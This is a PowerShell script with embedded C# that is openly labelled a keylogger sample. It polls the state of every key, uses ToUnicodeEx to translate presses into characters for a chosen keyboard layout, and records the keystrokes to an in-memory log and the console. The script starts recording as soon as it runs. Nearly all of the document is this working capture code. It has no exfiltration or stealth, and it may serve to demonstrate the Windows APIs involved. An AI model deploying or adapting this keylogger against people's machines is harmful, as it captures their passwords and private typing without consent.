##################
#
# PowerKeyShellLogger v1.0
# (C) Ondrej Sevecek, 2014 - www.sevecek.com, ondrej@sevecek.com
# 
# PowerShell/C# keylogger sample
# 
#

function Define-PowerKeyShellLogger()
{
  $powerKeyShellLogger = @"

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace Sevecek.PowerKeyShellLogger
{
    public class User32
    {
        // Virtual key reference at: http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx
        public const int VK_LBUTTON = 1;        // the lowest known virtual key id
        public const int VK_BACK = 8;           // backspace
        public const int VK_TAB = 9;
        public const int VK_RETURN = 0x0D;      // enter
        public const int VK_ESCAPE = 0x1B;
        public const int VK_PRIOR = 0x21;       // page up
        public const int VK_NEXT = 0x22;        // page down
        public const int VK_END = 0x23;
        public const int VK_HOME = 0x24;
        public const int VK_LEFT = 0x25;
        public const int VK_UP = 0x26;
        public const int VK_RIGHT = 0x27;
        public const int VK_DOWN = 0x28;
        public const int VK_DELETE = 0x2E;
        public const int VK_LSHIFT = 160;
        public const int VK_RSHIFT = 161;
        public const int VK_LCONTROL = 162;
        public const int VK_RCONTROL = 163;
        public const int VK_OEM_CLEAR = 254;    // the highest known virtual key id

        public const int VK_LOWEST = VK_LBUTTON;
        public const int VK_HIGHEST = VK_OEM_CLEAR;

        [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
        public static extern short GetAsyncKeyState(int virtualKeyCode);

        // Does not work as expected here in C#
        // While within PowerShell it is like charm
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool GetKeyboardState(byte[] keystate);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern uint MapVirtualKey(uint uCode, uint uMapType);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int ToUnicode(
            uint wVirtKey, 
            uint wScanCode, 
            byte[] lpkeystate,
            [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff, 
            int cchBuff, 
            uint wFlags
            );

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int ToUnicodeEx(
            uint wVirtKey,
            uint wScanCode,
            byte[] lpkeystate,
            [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff,
            int cchBuff,
            uint wFlags,
            IntPtr dwhkl
            );

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetKeyboardLayout(uint idThread);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr LoadKeyboardLayout(string pwszKLID, uint Flags);
    }

    public class Recorder
    {
        // Keyboard layout examples:
        //   US-English        = 00000409
        //   US-English-Dvorak = 00010409
        //   UK-English        = 00000809
        //   Czech             = 00000405
        //   Czech-QUERTY      = 00010405
        //   Slovak            = 0000041B
        //   German            = 00000407
        // More to be found at: http://support.microsoft.com/kb/138354

        public static void Record(System.Collections.ArrayList keylog, string keyboardLayout, bool outputToConsole)
        {
            byte[] previousVkeyStates = new byte[256];

            // Some means to stop oderwise infinite cycle
            while ((previousVkeyStates[User32.VK_LSHIFT] == 0) || (previousVkeyStates[User32.VK_RSHIFT] == 0) || (previousVkeyStates[User32.VK_LCONTROL] == 0) || (previousVkeyStates[User32.VK_RCONTROL] == 0))
            {
                System.Threading.Thread.Sleep(10);

                // Get states of all keys again in order to call ToUnicode() later
                // If the GetKeyboardState() worked, we would make do with it
                // but it does not work at all.
                byte[] vkeyStates = new byte[256];

                // Go from the first virtual key ID to the last one
                for (byte vkeyID = User32.VK_LOWEST; vkeyID < User32.VK_HIGHEST; vkeyID++)
                {
                    // We check the most significant bit here ((short) 0x8000 = -32768)
                    // It is not -32767 as against some bloggers because RTFM
                    // We cannot rely on the least significant bit telling
                    // us the previous state - according to documentation:
                    // "Although the least significant bit of the return
                    //  value indicates whether the key has been pressed
                    //  since the last query, due to the pre-emptive multitasking
                    //  nature of Windows, another application can call
                    //  GetAsyncKeyState and receive the "recently pressed" bit
                    //  instead of your application. The behavior of the least
                    //  significant bit of the return value is retained strictly
                    //  for compatibility with 16-bit Windows applications
                    //  (which are non-preemptive) and should not be relied upon."
                    // Must set the most significant bit in order for ToUnicode()
                    // to consider the special key pressed.
                    vkeyStates[vkeyID] = ((User32.GetAsyncKeyState(vkeyID) & 0x8000) == 0x8000) ? (byte) 0xFF : (byte) 0x00;
                }

                for (byte vkeyID = User32.VK_LOWEST; vkeyID < User32.VK_HIGHEST; vkeyID ++)
                {
                    if ((vkeyStates[vkeyID] == 0xFF) && (previousVkeyStates[vkeyID] == 0x00))
                    {
                        string nextChar = "";
                        bool newLine = false;

                        switch (vkeyID)
                        {
                            case User32.VK_BACK:    nextChar = "<BCK>"; break;
                            case User32.VK_TAB:     nextChar = "<TAB>"; newLine = true; break;
                            case User32.VK_RETURN:  nextChar = "<ENTER>"; newLine = true; break;
                            case User32.VK_ESCAPE:  nextChar = "<ESC>"; newLine = true; break;
                            case User32.VK_PRIOR:   nextChar = "<PGUP>"; newLine = true; break;
                            case User32.VK_NEXT:    nextChar = "<PGDN>"; newLine = true; break;
                            case User32.VK_END:     nextChar = "<END>"; break;
                            case User32.VK_HOME:    nextChar = "<HOME>"; break;
                            case User32.VK_LEFT:    nextChar = "<LEFT>"; break;
                            case User32.VK_UP:      nextChar = "<UP>"; newLine = true; break;
                            case User32.VK_RIGHT:   nextChar = "<RIGHT>"; break;
                            case User32.VK_DOWN:    nextChar = "<DOWN>"; newLine = true; break;
                            case User32.VK_DELETE:  nextChar = "<DEL>"; break;
                            default:
                                    // We need a writable buffer to receive the translation
                                    System.Text.StringBuilder unicodeChars = new System.Text.StringBuilder(4);
                                    if (User32.ToUnicodeEx(vkeyID, User32.MapVirtualKey(vkeyID, 0), vkeyStates, unicodeChars, unicodeChars.Capacity, 0, User32.LoadKeyboardLayout(keyboardLayout, 1)) > 0)
                                    {
                                        nextChar = unicodeChars.ToString();
                                    }
                                    break;
                        }

                        if (nextChar != "")
                        {
                            if (keylog.Count > 0)
                            {
                                string currentLine = (string)keylog[keylog.Count - 1];
                                keylog.RemoveAt(keylog.Count - 1);
                                keylog.Add(currentLine + nextChar);
                            } 
                            
                            else
                            {
                                keylog.Add(nextChar);
                            }

                            if (outputToConsole)
                            {
                                Console.Write(nextChar);
                            }
                        }

                        if (newLine)
                        {
                            keylog.Add("");

                            if (outputToConsole)
                            {
                                Console.WriteLine();
                            }
                        }
                    }

                    previousVkeyStates[vkeyID] = vkeyStates[vkeyID];
                }
            }
		}
    }

    class Program
    {
        static void Main(string[] args)
        {
            System.Collections.ArrayList keylog = new System.Collections.ArrayList();
            Recorder.Record(keylog, "00000409", true);
        }
    }
}

"@

  if (-not ('Sevecek.PowerKeyShellLogger.User32' -as [type])) {
 
    [void] (Add-Type -TypeDefinition $powerKeyShellLogger -PassThru)
  }
}




Define-PowerKeyShellLogger

[System.Collections.ArrayList] $keyLog = @()
[Sevecek.PowerKeyShellLogger.Recorder]::Record($keyLog, "00000409", $true)